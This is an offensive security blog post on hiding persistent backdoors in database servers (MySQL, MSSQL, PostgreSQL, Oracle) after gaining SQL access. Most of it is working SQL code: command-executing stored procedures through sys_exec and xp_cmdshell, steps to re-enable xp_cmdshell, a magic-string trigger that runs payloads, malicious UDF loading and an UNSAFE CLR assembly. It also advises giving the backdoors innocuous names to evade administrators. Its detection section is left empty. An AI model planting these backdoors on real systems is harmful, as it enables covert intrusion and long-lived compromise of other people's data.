0xFFFF

offensive security research

Demons in the Database: Hiding Backdoors and Malware in RDBMS Services

2021-08-18 // Part 1

Once you have SQL execution on a database server, the natural next step is persistence. Most post-exploitation guides focus on filesystem-level persistence - web shells, cron jobs, SSH keys. Databases offer alternatives that are harder to detect and survive most incident response procedures.

This covers techniques for MySQL, Microsoft SQL Server, PostgreSQL, and Oracle. We tested each technique against default configurations of current versions.

Why databases

Database servers are ideal persistence targets for several reasons:

Malicious stored procedures

The simplest approach. Create a stored procedure that executes system commands, then call it when you need access.

MySQL

DELIMITER //
CREATE PROCEDURE debug_util(IN cmd VARCHAR(255))
BEGIN
  SET @output = '';
  SET @cmd = cmd;
  -- Requires FILE privilege and secure_file_priv = ''
  SET @query = CONCAT('SELECT sys_exec("', @cmd, '")');
  PREPARE stmt FROM @query;
  EXECUTE stmt;
END //
DELIMITER ;

Name it something innocuous. debug_util, cleanup_temp, validate_schema. Most DBAs will not look twice at a stored procedure with a boring name.

MSSQL

CREATE PROCEDURE [dbo].[sp_maintenance_check]
    @cmd NVARCHAR(4000)
AS
BEGIN
    EXEC xp_cmdshell @cmd;
END;

xp_cmdshell is disabled by default on modern MSSQL, but if you have sysadmin privileges, you can enable it:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Trigger-based persistence

Triggers execute automatically when specific events occur. A trigger on a high-traffic table fires every time a row is inserted or updated - giving you execution without needing to call anything explicitly.

CREATE TRIGGER audit_log_update
AFTER INSERT ON user_sessions
FOR EACH ROW
BEGIN
  -- Check for magic value in session data
  IF NEW.session_data LIKE '%debug_mode_0xff%' THEN
    -- Execute payload
    SET @x = sys_exec(CONCAT('/tmp/.cache/', NEW.session_data));
  END IF;
END;

The trigger activates only when it sees a specific magic string in the data. Normal application traffic does not trigger it. To activate the backdoor, insert a session with the magic value.

User-Defined Functions (UDFs)

UDFs allow loading compiled shared libraries into the database engine. On MySQL, you can load a shared object that provides system command execution:

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';

The shared library needs to be placed in the plugin directory. If you have FILE privilege, you can write it there directly from a hex-encoded blob via SELECT ... INTO DUMPFILE.

UDFs survive database restarts. They persist until someone explicitly drops them or removes the shared library.

CLR assemblies (MSSQL)

MSSQL supports loading .NET assemblies as stored procedures. Write a C# class that executes system commands, compile it, and register it:

CREATE ASSEMBLY [DebugTools]
FROM 0x4D5A9000... -- hex-encoded DLL
WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE [dbo].[sp_debug_exec]
    @cmd NVARCHAR(4000)
AS EXTERNAL NAME [DebugTools].[StoredProcedures].[ExecCommand];

CLR assemblies have full .NET framework access. They can make network connections, read/write files, and execute arbitrary code - all from within the database context.

CMS-specific backdoors

If the database backs a CMS (WordPress, Drupal, Joomla), you can inject backdoors at the application level:

These persist through CMS updates because the database is not overwritten during the update process.

Detection considerations

From a defensive perspective, detecting these techniques requires:

Most organizations do none of these things.